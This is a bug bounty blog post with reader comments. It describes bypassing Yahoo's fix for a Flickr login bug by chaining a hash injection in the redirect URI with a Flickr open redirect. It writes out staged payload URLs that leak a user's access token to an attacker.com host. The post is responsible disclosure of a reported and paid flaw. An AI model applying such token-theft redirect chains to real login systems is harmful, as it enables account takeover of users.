On Apr 5, I had a look on Flickr login flow with Yahoo. Not after long I ran into a Flickr bug that is quite something, it is a one-click attack (no click is required if the payload is embedded in img src) that allow attacker to steal Flickr’s user access token. So I submitted the bug to Yahoo happily, and hopefully I can get a good response from the report.
The next day, Apr 6, Yahoo team replied and told me it was a duplicate, there was someone who submitted the bug before I do. Heart breaking, but that’s normal for a bug hunter, move on, Ron, move on.
On Apr 21, I come across a tweet and found out the duplicate details, you can read it here.
So I checked the fix by Yahoo, and turned out the fix could be bypassed!
To keep the story short, I assume you have read the blog post above. Remember how Yahoo restrict the redirect_uri directory could only be /signin/yahoo?
If you do something like
https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F..%2f..%2f%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fflickrrrrr&.crumb=
no access token returned, the directory is difficult to escaped, no more ../
However the payload behind %3f seems quite free to mess with, so I appended a hash behind the URL.
https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fflickrrrrr%23&.crumb=
Guess what? The %23 is decoded to be # in the response.
And target .data is appended behind the hash.
This mean, if I can find any open redirect in Flickr, then I can smuggle .data to attacker site.
Open redirect in Flickr is not difficult to find as Yahoo! does not accept Open Redirect as valid report, lucky for me I found one after 5 minutes.
Open Redirect Payload (Fixed now)
https://www.flickr.com/cookie_check.gne?pass=http:www.attacker.com#
The 302 response is
http:www.attacker.com
Now we chain them up.
Stage 1 ->
https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fcookie_check.gne%253fpass%253dhttp%253aattacker.com%2523&.crumb=
Stage 2 ->
https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2Fcookie_check.gne%3fpass%3dhttp%3aattacker.com#.data=[access_token_here]&.crumb=
Stage 3 ->
https://www.flickr.com/cookie_check.gne?pass=http:attacker.com#.data=[access_token]Stage 4 ->
http:attacker.com#.data=[access_token]
This report alone worth 2.5k from Yahoo!, I could not be more thankful for the reward from Yahoo. Stay tuned for the rest of my 6k finding in Flickr, it is not fixed entirely at this moment, I will update the finding here once its fixed. Hope you like this story.
Ron Chan 
Hey Ron, Awesome found! I would love to see more posts like this, very detailed and smart. However I got one question left, I thought that %23 or # and what comes after does not show up in any server logs since it is client side. For example, when intercepting a request to https://ngailong.wordpress.com/test#secretcode, it shows up in burp suite as ngailong.wordpress.com/test. So I guess ngailong.wordpress.com/test (without #secretcode !) shows up in server logs as well. Am I wrong? If I am right, what is the impact. Also, last but not least, what is the point of using the hashtag? Why not just use / or something similar? Thanks in advance, keep up the great work.
LikeLike
/ is blocked once we use it in the redirect_uri, # is not.
Although anything after hash is not parsed/sent to server, after the hash arrives the attacker’s site, attacker site could use javascript to retreive it.
LikeLike
Wow it’s awesome. Thanks for sharing
LikeLike